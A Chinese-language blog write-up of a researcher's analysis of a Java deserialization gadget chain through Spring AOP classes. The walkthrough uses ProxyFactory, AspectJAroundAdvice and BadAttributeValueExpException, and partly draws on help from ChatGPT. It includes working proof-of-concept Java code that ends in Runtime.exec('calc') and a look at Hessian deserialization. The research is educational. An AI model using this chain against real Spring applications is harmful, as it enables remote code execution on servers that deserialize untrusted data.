分析尝试利用tabby挖掘-SpringAOP链

本文最后更新于:21 天前

参考文章:https://mp.weixin.qq.com/s/oQ1mFohc332v8U1yA7RaMQ

根据作者的分析,入口点位于org.springframework.aop.aspectj.AbstractAspectJAdvice#invokeAdviceMethodWithGivenArgs这个方法

那就自己试试能不能不看文章还原这个流程吧~

存在一处很明显的反射调用

对于此处:Method类实际上并没有实现Serializable接口,是无法进行序列化的

若需要将属性可利用,复原为我们期望的Method,在当前情况下只能去readObject()或者readResolve()看看是否通过自定义的方式对Method进行初始化

运气不错的是,在AbstractAspectJAdvice的readObject()中,正好存在这个逻辑

declaringClassmethodNameparameterTypes均可控,因此aspectJAdviceMethod的问题被很好地解决了

再来看调用者,此处方法的调用者是通过this.aspectInstanceFactory.getAspectInstance()来获取的

aspectInstanceFactory就需要满足:

  • 实现Serializable接口
  • 实现AspectInstanceFactory

我们通过接口AspectInstanceFactorygetAspectInstance()方法查找实现,总计有五处

BeanFactoryAspectInstanceFactory正好满足上面的两个条件

我们看看它的getAspectInstance()实现逻辑,有点继续往上跟到doGetBean()到了会有点复杂

它同样实现了Serializable接口,满足条件

这个getAspectInstance()看着就慈眉善目了不少,其materialized也是可序列化的

getAspectInstance()的逻辑也非常简单,如果说我们的materialized直接给他赋值了,那就不会走进if,直接返回materialized,非常完美的可控点

那就剩下参数的问题还没解决了,不考虑参数的话此时已经可以调用任意可序列化类的静态方法了

这才哪到哪呢就调用任意静态方法啊!才刚刚分析完一处污点嘞

往上找链子

来到AbstractAspectJAdvice#invokeAdviceMethod()

继续继续!

这时候其实已经只剩一种方法了,那就是AspectJAroundAdvice.invoke()

看着此处的invoke以及出现的Proxy以及Invocation字样,没深掘spring源码,总学过动态代理吧!

这个invoke传入的是一个org.aopalliance.intercept.MethodInterceptor对象

于是有以下对话:

1
2
3
我:你知道org.aopalliance.intercept.MethodInterceptor这个包嘛
GPT:是的,org.aopalliance.intercept.MethodInterceptor 是 AOP(面向切面编程) 相关的一个接口,主要用于拦截方法调用。它属于 AOP Alliance,这是 Spring AOP 和其他 AOP 框架(如 Guice)使用的标准 API。
。。。。。巴拉巴拉

重点在这:

按照GPT给出的代码,我们岂不是完全可以直接触发到此处的invoke()了?

写个小小的测试类用一下,调用getName就会弹个窗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.ctf;

import java.io.Serializable;

public class Users implements Serializable {
String name;

public String getName() throws Exception{
Runtime.getRuntime().exec("calc");
return name;
}

public void setName(String name) {
this.name = name;
}
}

按照GPT给出的代码,我们需要给调用方法的类做代理

1
ProxyFactory proxyFactory = new ProxyFactory(new Users());

addAdvice()传入我们要调用invoke()的拦截器,这里也就是AspectJAroundAdvice这个类了

看一眼构造方法:

害!太麻烦了~不过好在这些对应的类型都是可序列化的,至少不用担心链子到这就断了

于是随便编了三行代码,虽然什么有关的值都没传,管他呢,跑一下先看看啥情况~

1
2
3
ProxyFactory proxyFactory = new ProxyFactory(new Users());
proxyFactory.addAdvice(createObjWithoutConstructor(AspectJAroundAdvice.class));
proxyFactory.getProxy().toString();

嗯~如愿触发了这个invoke

这个71行它不能跨!

原来是这个属性做的祟,这个东西就是在构造函数赋值的,不给他点值怎么都会npe的=^=

还是老老实实回去构造参数吧

它的构造函数有三个参数,我们逐个击破

首先是第一个参数Method,这个无关紧要,反正序列化的时候用不上

但是我们在尝试正向触发的时候,还是先试着给他赋值个Users.getName的Method吧

然后是第二个参数:AspectJExpressionPointcut类型的

爽快!

再就是第三个参数:AspectInstanceFactory类型的

这东西有没有很眼熟,没错就是我们前面提到过的那个接口,还到处找它的实现类来着,这不是就用上了吗

再回去看一眼,我们要调用的方法对应的是materialized这个属性

1
2
LazySingletonAspectInstanceFactoryDecorator lazySingletonAspectInstanceFactoryDecorator = createObjWithoutConstructor(LazySingletonAspectInstanceFactoryDecorator.class);
setField(lazySingletonAspectInstanceFactoryDecorator,"materialized",new Users());

最终:

1
2
3
4
5
6
LazySingletonAspectInstanceFactoryDecorator lazySingletonAspectInstanceFactoryDecorator = createObjWithoutConstructor(LazySingletonAspectInstanceFactoryDecorator.class);
setField(lazySingletonAspectInstanceFactoryDecorator,"materialized",new Users());
ProxyFactory proxyFactory = new ProxyFactory(new Users());

proxyFactory.addAdvice(new AspectJAroundAdvice(Users.class.getDeclaredMethod("getName"),new AspectJExpressionPointcut(),lazySingletonAspectInstanceFactoryDecorator));
proxyFactory.getProxy().toString();

这还真给他调用上了!

这样子看目前为止一切顺利了,随便找个能调用到方法的地方就行

还和上面一样toString的话,又得请出老朋友BadAttributeValueExpException了

1
2
3
4
5
6
7
8
9
10
11
LazySingletonAspectInstanceFactoryDecorator lazySingletonAspectInstanceFactoryDecorator = createObjWithoutConstructor(LazySingletonAspectInstanceFactoryDecorator.class);
setField(lazySingletonAspectInstanceFactoryDecorator,"materialized",new Users());

ProxyFactory proxyFactory = new ProxyFactory(new Users());

proxyFactory.addAdvice(new AspectJAroundAdvice(Users.class.getDeclaredMethod("getName"),new AspectJExpressionPointcut(),lazySingletonAspectInstanceFactoryDecorator));

BadAttributeValueExpException badAttributeValueExpException = createObjWithoutConstructor(BadAttributeValueExpException.class);
setField(badAttributeValueExpException,"val",proxyFactory.getProxy());

unser(ser(badAttributeValueExpException));

通了!

至此为止自己成功从sink找到了利用链,回去看了眼作者的文章,不同之处在于我借助ai直接利用了Spring上层封装的ProxyFactory,利用spring相关特性,省去了很多其他的赋值

原作者文章使用的AspectInstanceFactory的实现是SingletonMetadataAwareAspectInstanceFactory,也是一样的

1
2
SingletonMetadataAwareAspectInstanceFactory singletonMetadataAwareAspectInstanceFactory = createObjWithoutConstructor(SingletonMetadataAwareAspectInstanceFactory.class);
setField(singletonMetadataAwareAspectInstanceFactory,"aspectInstance",new Users());

不是原生反序列化呢?比如hessian?

直接把上面的proxy对象丢进hessian反序列化中

调用栈走到这的时候:

1
2
3
4
5
6
7
8
9
10
11
getInterceptorsAndDynamicInterceptionAdvice:468, AdvisedSupport (org.springframework.aop.framework)
invoke:199, JdkDynamicAopProxy (org.springframework.aop.framework)
toString:-1, $Proxy0 (com.sun.proxy)
valueOf:2994, String (java.lang)
append:136, StringBuilder (java.lang)
expect:2865, Hessian2Input (com.caucho.hessian.io)
readString:1407, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2163, Hessian2Input (com.caucho.hessian.io)
readObject:2105, Hessian2Input (com.caucho.hessian.io)
unser:157, Main (com.ctf)
main:63, Main (com.ctf)

methodCache会抛出npe

但是到上面一看发现methodCache是transient的!

在原生反序列化的过程中会通过readObject()来恢复它

但是这是hessian,补豪!